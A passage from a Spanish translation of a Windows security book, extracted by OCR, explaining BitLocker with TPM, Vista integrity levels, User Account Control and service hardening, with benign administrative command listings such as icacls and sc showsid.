VBootkit por Vipin http://conference.hitb.org/hitbsecconf2007dubai/materials
Kumar y Nitin Kumar
Comparación entre http://blogs.technet.com/robert_hensing/
VBootkit y Bitlocker en archive/2007/04/05/vbootkit-vs-bitlocker-in-tpm-mode.aspx
modo TPM
Blog de Nitin Vipin sobre www.nvlabs.in/?q=blog/4
Vbootkit
Cómo habilitar http://support.microsoft.com/kb/155217
o deshabilitar la
característica Autorun del
CD-ROM
“Sony, Rootkits http://blogs.technet.com/markrussinovich/
and Digital Rights archive/2005/10/31/sony-rootkits-and-digital-rights-
Management Gone management-gone-too-far.aspx
Too Far”, por Mark
Russinovich
“Exploiting 802.11 http://uninformed.org/?v=6&a=2&t=sumry
Wireless Driver
Vulnerabilities on
windows”, por Johnny
Cache, H.D. Moore, skape
11_SCAMBRAY_11.indd 365 7/28/08 9:48:56 PM

Bluejacking http://en.wikipedia.org/wiki/Bluejacking
Bluesanrfing http://en.wikipedia.org/wiki/Bluesnarfing
“Ten Immutable Laws of www.microsoft.com/technet/archive/community/columns/

Security”, por Scott Culp security/essays/10imlaws.mspx?mfr=true
11_SCAMBRAY_11.indd 366 7/28/08 9:48:56 PM

capítulo 12
S T I C A S
C T E R Í
CA R A E N TA S
R R A M I
Y H E I D A D
E G U R
DE S D O W S
D E W I N
367
12_SCAMBRAY_12.indd 367 7/28/08 9:54:51 PM

E
n todo este libro, hemos destacado de manera periódica el concepto de hacer las cosas
más difíciles para los atacantes. Este concepto está basado en la teoría de que es imposible
lograr un entorno 100% seguro. Lo mejor por lo que puede esforzarse es hacer el trabajo
del atacante lo más difícil posible. Para darle crédito, Microsoft sigue mejorando la facilidad de
asegurar el sistema operativo. En realidad, muchas de las características más efectivas y extensas
que se encuentran en Windows XP SP2, Server 2003 SP1, Vista y Server 2008 operan tras bamba-
linas. Las actualizaciones han mejorado la manera en que se asigna y libera la memoria, los com-
piladores están generando aplicaciones que son más resistentes a las fallas de implementación
(como sobreflujos de búfer), los manejadores de excepciones se han vuelto más inteligentes, y la
lista sigue y sigue. Muchas de estas contramedidas no requieren configuración ni comprensión
para cosechar los beneficios.
Este capítulo está dedicado al análisis de las siguientes características y herramientas que se
han integrado en el sistema operativo en el curso de su evolución a través de Windows XP SP2,
Server 2003 SP1, Vista y Server 2008.
• BitLocker
• Control de integridad de Windows
• Control de cuentas de usuario
• Refactorización/endurecimiento del servicio
• Protección de recursos de Windows (WRP, Windows Resource Protection)
• SafeSEH
• GS
• Cambios de pila
• Aleatorización de diseño del espacio de direcciones
De ninguna manera se trata de una lista completa de toda la funcionalidad relacionada con
la seguridad implementada en Windows; en cambio, resalta lo que creemos que son las caracte-
rísticas de seguridad más útiles “bajo la cubierta” del sistema operativo que atiende la vulnera-
bilidad analizada en este libro. Hemos decidido concentrarnos en estas características menos
visibles porque ya analizamos muchas de las más visibles a lo largo del libro, incluidos la Fi-
rewall de Windows, la directiva de grupo, IPSec y el sistema de cifrado de archivos (EFS, En-
crypting File System). Además, aunque no vamos a cubrir de manera exhaustiva cada una de
estas características, nos concentraremos específicamente en la manera en que pueden usarse
para contrarrestar los ataques analizados en este libro.
CIFRADO DE UNIDAD BITLOCKER

Con la introducción de Windows Server y Windows Vista se incluye una característica de segu-
ridad adicional, Cifrado de unidad BitLocker (BDE o BitLocker), que protege la confidencialidad
e integridad del volumen del sistema operativo durante la secuencia de arranque y mientras el
sistema operativo no está cargado. Windows Server también extenderá esta capacidad para pro-
teger volúmenes de datos. BDE se diseñó para mitigar ataques en línea, como eliminación de la
unidad física de una laptop perdida o robada y acceder a los datos de un sistema operativo con-
trolado por un atacante. En la siguiente sección analizaremos las diversas opciones de configu-
ración para BitLocker y sus prerrequisitos.
12_SCAMBRAY_12.indd 368 7/28/08 9:54:52 PM

Capítulo 12: Características y herramientas de seguridad de Windows 369
Configuraciones de BitLocker
Como se mencionó, BitLocker puede configurarse de varias maneras. En esta sección analiza-
mos cada uno, junto con sus fortalezas, debilidades y prerrequisitos. BitLocker puede configu-
rarse para operar en los siguientes modos:
• BitLocker con un módulo de plataforma confiable (TPM, Trusted Platform Module)

• BitLocker con un TPM + PIN de inicio
• BitLocker con un TPM + Token de USB
• BitLocker sin TPM
• BitLocker sin TPM + USB
• BitLocker sin TPM + PIN de inicio
sugerencia
Microsoft proporciona un excelente procedimiento paso a paso para configurar su sistema en cada
uno de estos escenarios en http://technet.microsoft.com/en-us/windowsvista/aa905092.aspx.
Dependiendo de la configuración deseada para BitLocker, su sistema también debe satisfa-

cer otros prerrequisitos de hardware y software. Para determinar si su equipo con Windows Vis-
ta cumple estos requisitos, realice los siguientes pasos:
1. Haga clic en Inicio.
2. Haga clic en Panel de control.
3. Haga clic en Seguridad.
4. Haga clic en Cifrado de unidad BitLocker.
Si la configuración de su equipo cumple todos los prerrequisitos, verá la pantalla que se
En un nivel superior, estas opciones de configuración representan diferentes combinaciones
de lo siguiente:
• Sistemas con el TPM

• Sistemas sin el TPM
• Sistemas que usan autentificación de un solo factor
• Sistemas que usan autentificación de dos factores
De éstas, la configuración más segura es un sistema que tiene un TPM y utiliza autentifica-
ción de dos factores, y he aquí por qué: el TPM proporciona a BitLocker la capacidad de validar
cada componente del proceso de arranque. Esto asegura que la plataforma esté en un estado se-
guro conocido antes de descifrar el volumen. (Tocaremos más sobre esto un poco después en la
sección “BitLocker con TPM”).
Con casi todos los sistemas de autentificación, exceptuando las fallas de implementación, el
grado de dificultad para autentificarse como otro directivo aumenta con el número de “factores”
(cada factor introduce una prueba adicional que debe pasar la entidad que trata de autentificar-
se). Los factores de autentificación comunes incluyen lo siguiente:
• Algo que tiene
12_SCAMBRAY_12.indd 369 7/28/08 9:54:52 PM

Figura 12-1 Sistema que satisface los prerrequisitos de BitLocker
• Algo que sabe

• Algo que es
Actualmente, BitLocker soporta dos de éstos, algo que tiene (un USB o TPM), y algo que sabe
(un PIN). En la siguiente sección, echaremos un vistazo a fondo a la solución deseada (BitLocker
equipado con un TPM y una forma adicional de autentificación, como una ficha PIN o USB).
BitLocker con TPM

La configuración preferida de BitLocker descansa en gran medida en una tecnología diseñada
por el Trusted Computing Group, llamada Módulo de plataforma confiable (TPM, Trusted
Platform Module). Un TPM es un microcontrolador que reside en la tarjeta madre del equipo y
se utiliza principalmente para proteger la confidencialidad de las claves de cifrado y validar
la integridad de los componentes iniciales de arranque, como el BIOS, el registro maestro de
arranque y el sector de arranque. BitLocker utiliza el TPM para cifrado de todo el volumen al
almacenar la clave de cifrado raíz en el hardware del TPM. Al mover la clave de cifrado de la
unidad de disco duro a un dispositivo que es resistente a los ataques basados en software,
12_SCAMBRAY_12.indd 370 7/28/08 9:54:53 PM

la confidencialidad de esta clave, y finalmente el volumen, está asegurada. Sin embargo, hay un
par de advertencias.
• El TPM no está diseñado para resistir ataques de hardware sofisticado.

• Una vez que el sistema operativo se ha arrancado, queda fuera de las manos de TPM.
Aunque la protección esté fuera de las manos de TPM, aún puede lograrse la revisión de integridad,
Nota
sobre todo donde los rootkits estilo BootRoot modifican el registro de arranque. El TPM permitirá la
detección de alteraciones del sector de arranque una vez que el sistema operativo esté cargado y
ejecutándose.
Además de almacenar la clave de cifrado, BitLocker utiliza el TPM para recolectar y almace-
nar mediciones de componentes que participan en el sector de arranque. Estas características
actúan como una huella digital del sistema que se adquiere cuando se sabe que el sistema está
en un estado seguro. Esta huella permanecerá constante en la ausencia de cualquier modifica-
ción deliberada. Algunas instancias legítimas, como actualización del BIOS, pueden causar que
su huella cambie y BitLocker tiene procedimientos para esto. Sin embargo, si ocurre una modi-
ficación no planeada a cualquiera de estas características, se consideran no autorizadas. Durante
el subsecuente proceso de arranque, se requiere que estas características se readquieran y com-
paren con el conjunto original. Si las huellas no coinciden, el sistema se considera no confiable
y se detiene el proceso de arranque. Si las huellas coinciden, TPM descifra las claves usadas
para cifrar el volumen, y se pasa la ejecución al sistema operativo.
Debido a que BitLocker depende de TPM, dedicaremos más tiempo a analizar sus puntos
más finos, incluidos los mecanismos que soportan el proceso de validación de arranque y las ac-
ciones tomadas durante este proceso.
El papel del Módulo de plataforma confiable

Antes de que pasemos a los detalles del proceso de validación de arranque, analizaremos breve-
mente las capacidades de TPM que lo soportan. El TPM proporciona a BitLocker la capacidad de
cifrar claves criptográficas de tal manera que sólo pueden descifrarse con el chip TPM que los
cifró. Sin embargo, esto puede ocurrir durante los escenarios de recuperación en que una clave
o una contraseña de recuperación permitirá el descifrado. Para lograr esto, cada TPM contiene
una clave asimétrica llamada clave raíz de almacenamiento (SRK, Storage Root Key), que se usa
para proteger la confidencialidad de otras claves. A este proceso suele considerársele como una
“envoltura” de clave. Como otros despliegues de clave asimétrica, la parte privada de la SRK
nunca se comparte. De manera adicional, esta parte no es un riesgo en ataques basados en soft-
ware porque el TPM mantiene la separación entre él y la memoria a la que puede acceder el sis-
tema operativo.
Este proceso de envoltura puede llevarse un paso adelante, y ésta es una de las piedras an-
gulares de BitLocker. El TPM puede envolver una clave de tal manera que no se desenvuelva, a
menos que las características de la plataforma actual sean equivalentes a las que había durante
el momento en que se creó la clave. BitLocker utiliza esta capacidad, denominada “sellado”, para
crear una clave maestra de volumen (VMK, Volume Master Key), que protege la clave de cifrado
de volumen completo (FVEK, Full Volume Encryption Key), que se usa finalmente para cifrar el
sistema operativo y los volúmenes de datos. Al utilizar una clave sellada, no es posible descifrar
los datos confidenciales fuera del contexto de la plataforma de computación confiable.
12_SCAMBRAY_12.indd 371 7/28/08 9:54:53 PM

Determinación de confianza durante la secuencia de arranque

Determinar la confianza de una plataforma en ausencia de un componente de hardware confia-
ble es una tarea extremadamente difícil. Esto se debe a que un atacante puede revertir la ingenie-
ría y modificar el mismo componente de software utilizado para proteger y validar la platafor-
ma. El TPM resuelve el problema al proporcionar la plataforma con una entidad de confianza
que puede anclar una cadena de confianza, en la que ahondaremos ahora.
Después de la inicialización de BitLocker, cuando se sabe que la plataforma está en un esta-
do seguro, se utiliza la raíz estática de medición de confianza (SRTM, Static Root of Trust Mea-
surement) para medir varios componentes de la plataforma y almacenar un compendio de cada
medida en una ubicación segura dentro del TPM, llamada registros de configuración de plata-
forma (PCR, Platform Configuration Registers). Después del arranque, se restablecen del PCR 0
al 15 y la ejecución se pasa a una parte confiable del firmware TPM que abarca, en parte, la raíz
central de medición de confianza (CRTM, Core Root of Trust Measurement). Esto inicia una serie
de validaciones que pasan una tras otra hasta que se carga el sistema operativo. Durante este
proceso, cada componente de inicio se valida primero antes de que se pase a la ejecución, lo que
asegura que la cadena de confianza nunca se quiebre.
Los mecanismos de validación de la plataforma TPM predeterminada aseguran que los si-
guientes componentes de la plataforma no se hayan modificado. También en este orden se reali-
zan la validación y la ejecución:
• Raíz central de medición de confianza (CRTM)

• BIOS
• Extensiones de plataforma
• Código ROM de opción
• Registro maestro de arranque
• Sector de arranque
• Bloque de arranque
• Administrador de arranque
• Cargador del sistema operativo
• Sistema operativo
En este punto, el sistema operativo es responsable de la validación y el aseguramiento de la

integridad de la plataforma. En secciones posteriores, analizaremos las características de Win-
dows que eligen dónde dejar el proceso de arranque seguro.
CONTROL DE INTEGRIDAD DE WINDOWS

Una de las nuevas características más estimulantes de Vista es la adopción de las listas de control
de acceso obligatorio (MACL, Mandatory Access Control Lists), que se proporcionan en la forma
de niveles de integridad. Vista da soporte a cuatro niveles de integridad: Bajo, Medio, Alto y Sis-
tema. Los niveles de integridad permiten a Vista tomar decisiones de seguridad basados en
lo confiable que es un objeto. Un estupendo ejemplo de esto es Internet Explorer, que tiene una
historia muy larga de problemas de seguridad y está, debido a su propia naturaleza, común-
mente expuesto a Internet. Como tal, puede ser aconsejable considerar a IE muy sospechoso.
12_SCAMBRAY_12.indd 372 7/28/08 9:54:54 PM

Con esto presente, en una instalación predeterminada de Vista, IE tiene asignado un nivel de
integridad Bajo, que evita que los procesos de IE modifiquen un objeto con un nivel de integri-
dad más elevado. Podemos observar esto al ejecutar Process Explorer, como se muestra en la
figura 12-2.
Esta implementación de nivel de integridad bajo de IE 7 en Vista también se denomina modo de

Nota protección de IE (PMIE, Protected Mode IE).
También es importante tomar nota de que los niveles de integridad están almacenados en las
listas de control de acceso del sistema (SACL, System Access Control List, usadas para generar
registros de auditoría) y superan los otorgados dentro de las listas de control de acceso discrecio-
nal (DACL, Discretionary Access Control Lists), como permisos de archivo. Por ejemplo, si un
Administrador está ejecutando un proceso de baja integridad que trata de escribir en lugares di-
vertidos como C:\ o C:\Users, fallarán los intentos, sin importar las DACL otorgadas por el con-
trol completo para los administradores. Esto se debe a que el nivel de integridad predeterminado
de todos los objetos de Vista está establecido en Medio. Sin embargo, como opción predetermi-
nada, casi ninguna SACL evita que objetos de integridad menor lean o ejecuten objetos de inte-
gridad más elevada; esto se deja a la DACL. Sin embargo, hay soporte disponible para estas
capacidades. De acuerdo con MSDN, la SACL de un objeto puede contener lo siguiente:
• SYSTEM_MANDATORY_LABEL_NO_WRITE_UP
• SYSTEM_MANDATORY_LABEL_NO_READ_UP
• SYSTEM_MANDATORY_LABEL_NO_EXECUTE_UP
Con esto, podemos hacer un poco más por evitar que procesos de menor integridad lean o eje-
cuten datos que existen a un nivel más elevado de integridad.
Figura 12-2 Process Explorer muestra IE que se ejecuta con integridad Baja
12_SCAMBRAY_12.indd 373 7/28/08 9:54:54 PM

Administración de niveles de integridad

¿Pero cómo configura todo esto? Junto con Vista se incluye otra herramienta, icacls, que nos per-
mite establecer y consultar los niveles de integridad de un objeto. Con el siguiente listado se de-
muestra el establecimiento del nivel de integridad del directorio C:\TempBaja en Baja:
C:\>icacls TempBaja /setintegritylevel L

Archivo procesado: TempBaja
Se procesaron correctamente 1 archivos; error al procesar 0 archivos
C:\>icacls TempBaja
TempBaja BUILTIN\Administradores:(I)(F)
BUILTIN\Administradores:(I)(OI)(CI)(IO)(F)
...
Etiqueta obligatoria\Nivel obligatorio bajo:(NW)
Se procesaron correctamente 1 archivos; error al procesar 0 archivos
Puede ver que el nivel de integridad para TempBaja ahora está establecido en Nivel obligatorio
bajo. Junto con esta nueva capacidad, la administración de niveles de integridad, viene un nue-
vo derecho de usuario: Modificar la etiqueta de un objeto, que es configurable en la directiva de
seguridad local, como se muestra en la figura 12-3.
Este derecho es obligatorio para modificar el nivel de integridad de un objeto y, como opción
predeterminada, no se otorga a ningún usuario o grupo. ¿Entonces cómo podemos modificar el
nivel de integridad del directorio TempBaja en el ejemplo? Somos propietarios de la carpeta, Vis-
ta nos permite modificar el nivel de integridad de cualquier objeto que sea nuestro, siempre y
cuando no tratemos de establecer un nivel de integridad más elevado que nuestro propio nivel.
Si un usuario o una aplicación pudiera establecer un nivel de integridad superior a su propio
nivel, todo el sistema de integridad colapsaría.
Figura 12-3 Modificación del derecho de usuario de la etiqueta de un objeto
12_SCAMBRAY_12.indd 374 7/28/08 9:54:54 PM

CONTROL DE CUENTAS DE USUARIO

El Control de cuentas de usuario es uno de los aspectos más analizados y visibles del sistema
operativo Windows Vista. Esto se debe probablemente a que, a menos que lo deshabilite, requie-
re su atención más a menudo que ninguna otra característica de seguridad de Windows. En ese
tenor, Microsoft establece públicamente que el Control de cuentas de usuario no es un límite de
seguridad, sino simplemente una oportunidad para que el usuario decida si una acción debe te-
ner lugar o no. Dado que muchos ataques, en estos días requieren alguna forma de intervención
por parte del usuario, el Control de cuentas de usuario hace más difíciles las cosas para los ata-
cantes. Como tal, analizaremos algunos de los puntos más finos de Control de cuentas de usua-
rio en esta sección.
El principio de la menor cantidad de privilegios no es, de ninguna manera, nuevo. Si ha estado
mucho tiempo en el reino de la seguridad, ha escuchado la frase más veces de las que puede
contar. Entonces, ¿por qué un concepto tan simple es tan difícil de implementar? En el mundo
del software, existen dos factores principales: utilidad y compatibilidad. Los usuarios y las em-
presas quieren una solución que puedan usar directamente y que se desenvuelva bien con siste-
mas antiguos o dispares. Por lo general, la aplicación de los controles de seguridad impide que
lo haga con uno, o ambos, de modo que el usuario (o la empresa) deshabilita la característica de
seguridad, con lo que estaremos de vuelta en la casilla 1. ¿Pero a quién culpar? En versiones an-
teriores de Windows, si quería cambiar la zona horaria o la configuración de encendido, instalar
un controlador de impresora o conectar una red inalámbrica que requería un secreto comparti-
do, no lo podía hacer como usuario regular. De modo que, como usuario o persona responsable
de una empresa llena de usuarios quejosos, decidía que llevar las cosas al administrador local
parecía estupendo. Ahora el personal de seguridad no se siente feliz de que los usuarios estén
instalando, sin saberlo, el mal en sus equipos.
El desafío aquí consiste en crear una solución que haga que todos, incluido el personal de
seguridad, duerma mejor en la noche. Esa solución incluye la adición de una marca o dos entre
la negación de acción y el acceso total. Esto es exactamente lo que Microsoft hizo cuando consi-
deró la manera de asegurar los sistemas operativos Windows Vista.
Fichas y procesos
Como se analizó en el capítulo 2, cuando se crea un proceso de Windows, su ficha de acceso se
llena con el identificador de seguridad (SID, Security IDentifier) del usuario que invoca, el SID
de los grupos a los que pertenece el usuario, el SID de la sesión de inicio y una lista de los privi-
legios que posee el usuario en todo el sistema. Cuando un proceso trata de interactuar con otro
objeto asegurable, como un archivo, el contenido de la ficha de acceso del proceso se usa junto
con el descriptor de seguridad del objeto para determinar la manera en que el proceso puede
interactuar con el objeto: por ejemplo, leyéndolo o modificándolo. Debido a cosas como el esce-
nario de la zona horario o la impresora, los usuarios a menudo están navegando Web y leyendo
correos electrónicos bajo el contexto del Administrador local. Como tal, explotar una vulnerabi-
lidad en un cliente de correo y un explorador Web proporciona a los atacantes remotos el control
completo del sistema operativo (una situación menos que deseable, dependiendo de quién sea
usted). ¿Qué pasaría si simplemente elimina los privilegios relacionados con los administrado-
res y otros grupos poderosos de esos procesos? ¿No mejoraríamos?
12_SCAMBRAY_12.indd 375 7/28/08 9:54:55 PM

Eliminación de privilegios administrativos

El Control de cuentas de usuario representa el equilibrio entre los usuarios con privilegios de
administrador y el restrictivo personal de seguridad; no es como tener una sopa caliente o una
cama perfecta, pero se acerca. Permite que los usuarios que no son de tecnología de la informa-
ción se sientan con la capacidad de otorgar la posibilidad de cambiar claves WEP, instalar impre-
soras y establecer el reloj sin otorgar privilegios administrativos. Para realizar esto, durante un
inicio de sesión interactivo, el Control de cuentas de usuario depende de la autoridad de seguri-
dad local (LSA, Local Security Authority) para detectar si la ficha del usuario contiene privile-
gios elevados. De ser así, la ficha original, plenamente privilegiada se guarda y LSA realiza un
segundo inicio de sesión con la ficha filtrada. La principal ventaja de esto es permitir que cuentas
elevadas operen sin privilegios hasta que traten de realizar una acción que requiere privilegios
adicionales.
El Control de cuentas de usuario considera que los siguientes privilegios son elevados y, por
tanto, los elimina de las fichas de usuario en el inicio de sesión:
• SeCreateTokenPrivilege
• SeTcbPrivilege
• SeTakeOwnershipPrivilege
• SeBackupPrivilege
• SeRestorePrivilege
• SeDebugPrivilege
• SeImpersonatePrivilege
• SeRelabelPrivilege
Como opción predeterminada, esto afecta a los siguientes grupos:
• Administradores integrados
• Usuarios avanzados
• Operadores de cuenta
• Operadores de servidor
• Operadores de impresora
• Operadores de copia de seguridad
• Grupo de servidores RAS
• Grupo de compatibilidad de aplicaciones con Windows NT 4.0
• Operadores de configuración de red
• Administradores de dominio
• Controladores de dominio
• Editores de certificados
• Administradores de esquema
• Administrativos empresariales
• Administradores de directiva de grupo
Además, si el usuario es miembro del grupo Administradores, la ficha filtrada contendrá

una versión de sólo negación de este SID. Esto hará que Windows sólo considere el SID del Ad-
ministrador cuando se evalúe negar entradas del control de acceso (ACE, Access Control En-
tries) en una DACL.
12_SCAMBRAY_12.indd 376 7/28/08 9:54:55 PM

En resumen, si la DACL de un objeto otorga al grupo Administradores acceso al objeto, el

usuario no podrá acceder al objeto a menos que se le haya otorgado acceso explícitamente o me-
diante la membresía de otro grupo. Esto se observa al iniciar sesión en Vista como miembro del
grupo Administradores y ejecutar whomai/all desde el indicador de comandos. El siguiente
listado es un ejemplo de la ejecución de este comando:
INFORMACIÓN DE USUARIO
----------------------
Nombre de usuario SID
===================== =====================================
Forilldoh\mikej S-1-5-21-1726311756-936665386-659771985-1000
INFORMACIÓN DE GRUPO
--------------------
Nombre de grupo Tipo SID Atributos
====================== ====== ====== ====================================
...
BUILTIN\Administradores Alias S-1-5-32-544 Grupo usado sólo para denegar
...
También vale la pena observar que el Control de cuentas de usuario no afecta los inicios de se-
sión de servicio, red o procesamiento por lotes. Una vez que el usuario ha iniciado sesión con la
ficha restringida, los posteriores intentos de realizar acciones posiblemente sensibles, como instalar
software o interactuar con partes del Panel de control, causarán que aparezca un cuadro de diálo-
go, solicitando confirmación que debe dar para emprender esta acción. Aquí es donde se encuentra
el mayor desafío para el Control de cuentas de usuario: convencer a los usuarios de que lo dejen
habilitado. Si se deja así, el Control de cuentas de usuario elimina un agujero muy grande en casi
todos los modelos de seguridad de organizaciones y usuarios: ejecutar como Administradores.
En la siguiente sección, analizaremos la manera en que el sistema operativo de Windows ha
adoptado algunos de estos conceptos para fortalecer la seguridad relacionada con los servicios.
ENDURECIMIENTO DE LOS SERVICIOS DE WINDOWS

Así como Windows XP y Server 2003 dieron grandes pasos para reducir el riesgo al limitar el
número de servicios habilitados y los privilegios que poseían, Vista y Server 2008 han llevado
aún más lejos la seguridad en el nivel del servicio con el Endurecimiento del servicio de Win-
dows, que incluye lo siguiente:
• Aislamiento de los recursos del servicio

• Servicios con la menor cantidad de privilegios
• Aislamiento de la sesión 0
• Accesibilidad restringida de red
Aislamiento de los recursos del servicio

En el caso de que una aplicación, un servicio o una cuenta se vea comprometida, una de las
primeras cosas que debe empezar a ponderar es cuán malo llegará a ser. Suponga que un ata-can-
te compromete un servicio Web en su DMZ: ¿adónde puede ir desde allí? ¿El servicio Web extrae
información de una base de datos que se encuentra tras su firewall interna? ¿Qué permisos tiene
la cuenta usada por el servicio Web sobre la base de datos?
12_SCAMBRAY_12.indd 377 7/28/08 9:54:55 PM

¿Puede ejecutar procedimientos SQL extendidos como xp_cmdshell para comprometer el

servidor de la base de datos? Si se detiene lo suficiente en esta línea de pensamiento, tal vez em-
piece a notar similitudes entre sus controles de seguridad y un juego de dominós.
Tomemos este concepto y apliquémoslo localmente, a una sola máquina. Muchos servicios se
ejecutan usando la misma cuenta local, como LocalService. Si uno de esos servicios se ve compro-
metido, la integridad de todos los otros servicios que se ejecutan como el mismo usuario estarán
también en peligro. Un atacante puede ir de un servicio a otro. Para tratar con esto, los servicios
suelen almacenar información de configuración en áreas del sistema operativo que sólo son accesi-
bles a directivos con altos privilegios. Un artefacto de esto es un número superior de servicios eje-
cutándose como SYSTEM. Lo que se nos deja es un grupo de servicios con muy pocos privilegios
que son capaces de comprometer a todos y cada uno de los otros grupos de servicios que operan
bajo un contexto altamente privilegiado para almacenar de manera segura la información de con-
figuración. No es agradable. Para atender esto, Vista y Server 2008 engranaron dos tecnologías:
• SID específicos del servicio

• SID restringidos
Al asignar a cada servicio un SID único, recursos de servicio, como un archivo o una clave
de Registro, pueden incluirse en la ACL para permitir que sólo ese servicio los modifique. Esto
nos acerca un poco más a la ejecución de los servicios con menores privilegios, mientras se pro-
tegen sus datos de configuración.
Para determinar el SID asignado a un servicio determinado, podemos depender de una nue-
va funcionalidad que se ha agregado a sc.exe: showsid. Podemos llevar esto un paso adelante e
identificar el nombre del directivo relacionado con el SID del servicio al ejecutar psgetsid.exe. Con
los siguientes listados se demuestra cómo obtener el SID y el nombre principal del servicio
WLAN:
C:\>sc showsid wlansvc

NOMBRE: wlansvc
SID DE SERVICIO: S-1-5-80-1428027539-3309602793-2678353003-1498846795-
3763184142
C:\>psgetsid S-1-5-80-1428027539-3309602793-2678353003-1498846795-
3763184142
PsGetSid v1.43 - Translates SIDs to names and vice versa
Copyright (C) 1999-2006 Mark Russinovich
Sysinternals - www.sysinternals.com
Account for S-1-5-80-1428027539-3309602793-2678353003-1498846795-
3763184142:
Well Known Group: NT SERVICE\Wlansvc
C:\>
Nota PSGetSid está disponible para descarga en Microsoft TechNet. Vaya a http://www.microsoft.com/
technet/sysinternals/utilities/psgetsid.mspx
Por sí solo, esto no evita que un servicio comprometido que se está ejecutando como Local-
Service modifique los recursos de otros servicios que se ejecutan como el mismo principal. Para
lograr esto, se usan SID con restricción de escritura: el servicio SID, junto con el SID de restric-
ción de escritura (S-1-5-33), se agrega a la lista de SID restringidos del proceso de servicio.
12_SCAMBRAY_12.indd 378 7/28/08 9:54:56 PM

Cuando un proceso o un subproceso restringido trata de acceder a un objeto, se realizan dos

revisiones de acceso: una empleando el SID de la ficha habilitada y otra usando los SID restrin-
gidos. Sólo si ambas comprobaciones tienen éxito se otorgará el acceso. Esto evita que servicios
restringidos accedan a cualquier objeto que no otorga acceso explícito al SID del servicio.
Por ejemplo, suponga que tenemos dos servicios, A y B, que se ejecutan bajo el contexto de
LocalService (y, por tanto, tienen a LocalService como su SID de ficha habilitada). Estos servi-
cios almacenan información de configuración en los registros, bajo HKLM\System\Current-
ControlSet\Services\ServicioA y ServicioB, respectivamente. La DACL en ambas claves de
Registro otorga a LocalService la capacidad de escribir las claves. Además, cada DACL otorga
acceso de escritura al SID de servicio apropiado. En este punto, si cualquier servicio se ve com-
prometido, podría modificar la información de configuración del otro servicio. Esto se debe a
que ambos procesos de servicio contienen el SID LocalService. Sin embargo, si estos servicios
se hospedan en diferentes procesos y cada uno de éstos tiene su respectivo SID de servicio en
la lista de SID restringidos, el servicio no puede modificar los valores de Registro del otro. Esto
se debe a que las fichas de proceso no tienen el SID LocalService agregado a la lista de SID res-
tringidos.
Para determinar si un servicio está restringido o no, simplemente ejecute sc.exe con la op-
ción qsidtype. Con el siguiente listado se demuestran los resultados de consultar servicios
irrestrictos y restringidos.
C:\tools>sc qsidtype wlansvc

[SC] QueryServiceConfig2 CORRECTO
NOMBRE DE SERVICIO: wlansvc

TIPO_DE_SID_DE_SERVICIO: NO_RESTRINGIDO
C:\tools>sc qsidtype bfe

NOMBRE DE SERVICIO: bfe

TIPO_DE_SID_DE_SERVICIO: RESTRINGIDO
C:\tools>sc qsidtype sysmain

NOMBRE DE SERVICIO: sysmain

TIPO_DE_SID_DE_SERVICIO: NINGUNO
C:\tools>
Al crear SID específicos del servicio y acoplarlos con listas de SID restringidos, se reduce en
gran medida la probabilidad de que un servicio ataque con éxito a otro servicio que se ejecuta
como el mismo directivo. En la siguiente sección, analizaremos la manera en que el esfuerzo de
endurecimiento de servicios de Windows ha reducido esto aún más.
12_SCAMBRAY_12.indd 379 7/28/08 9:54:56 PM

Servicios con la menor cantidad de privilegios

Históricamente, muchos servicios de Windows operaban bajo el contexto de LocalSystem, lo
que otorgaba al servicio la capacidad de hacer casi cualquier cosa. Desde una perspectiva de se-
guridad, éste es un escenario menos que deseable. Para resolver esto, Microsoft introdujo en
Windows Server 2003 dos nuevos directivos de seguridad, LocalService y NetworkService. És-
tos tienen mucho menos derechos que SYSTEM, pero estaban en algunos casos tan limitados que
muchos servicios seguían operando como SYSTEM, de manera muy parecida a nuestros escena-
rios de impresora y zona horaria del análisis del Control de cuentas de usuario. En Vista, los pri-
vilegios otorgados a un servicio ya no están unidos exclusivamente a la cuenta a la que está con-
figurado para ejecutarse; pueden solicitarse de manera explícita.
Privilegios a la carta
Antes, durante el análisis del Control de cuentas de usuario, observamos que los inicios de se-
sión de servicio ya no estaban sujetos al filtrado de fichas. Por tanto, si un servicio está configu-
rado para ejecutarse como SYSTEM, su ficha de acceso retendrá privilegios poderosos que le
permiten interactuar libremente con otros objetos que es posible asegurar. ¿O no?
Para cerrar esta brecha y lograr el mismo efecto del Control de cuentas de usuario (el princi-
pio del proceso con la menor cantidad de privilegios) se ha modificado un poco el Administra-
dor de control de servicios (SCM, Service Control Manager). Así como el proceso de inicio de
sesión descansa en la LSA para filtrar fichas a nombre del Control de cuentas de usuario, el SCM
juega un papel similar para los servicios. Éstos ahora son capaces de proporcionar al SCM y, por
último a la LSA, una lista de los privilegios específicos que requiere. Sin embargo, los servicios
no pueden solicitar permisos que no posee originalmente el directivo bajo el que están configu-
rados para iniciar. Después del inicio del servicio, el SCM utiliza la LSA para eliminar todos los
privilegios del proceso del servicio que no se solicitan explícitamente. Por ejemplo, como opción
predeterminada, el servicio de red del Reproductor multimedia de Windows (WMPNetwork
Svc) está configurado para solicitar los siguientes privilegios:
• SeChangeNotifyPrivilege
• SeCreateGlobalPrivilege
Nota Esta información puede obtenerse empleando sc.exe, lo que analizaremos en páginas posteriores
de esta sección, o directamente desde el Registro en HKEY_LOCAL_MACHINE\SYSTEM\
CurrentControlSet\Services\WMPNetworkSvc:RequiredPrivileges.
Empleando el Process Explorer, podemos verificar que sólo esos privilegios están otorgados
al proceso WMPNetworkSvc (figura 12-4).
12_SCAMBRAY_12.indd 380 7/28/08 9:54:56 PM

Figura 12-4 Privilegios limitados otorgados a WMPNetworkSvc
En el caso de los servicios que comparten un proceso, como svchost, la ficha del proceso con-
tendrá un agregado de todos los privilegios requeridos por cada servicio individual del grupo.
Desde el punto de vista de un atacante, la localización de una vulnerabilidad en uno de esos ser-
vicios puede arrojar un espacio de procesos mucho más jugoso desde el cual crear el caos. En las
figuras 12-5 y 12-6 se demuestra la existencia de 19 servicios hospedados en un solo proceso y el
conjunto resultante de privilegios poseídos por este proceso.
Probablemente por razones de compatibilidad hacia atrás, si un servicio no solicita privile-
gios de manera explícita, el SCM dejará intactos todos los privilegios otorgados al directivo bajo
el cual el servicio está configurado para ejecutarse. Desde la perspectiva de un atacante, la enu-
meración de todos los servicios que no registran los privilegios requeridos también puede ser un
ejercicio fructífero cuando se selecciona un objetivo.
12_SCAMBRAY_12.indd 381 7/28/08 9:54:57 PM

Figura 12-5 Diecinueve servicios compartiendo una sola PID
Como opción predeterminada, muchos privilegios no están habilitados, pero es posible habilitarlos.
Nota
Interacción con los privilegios de servicio Como en versiones anteriores de Windows, los servicios
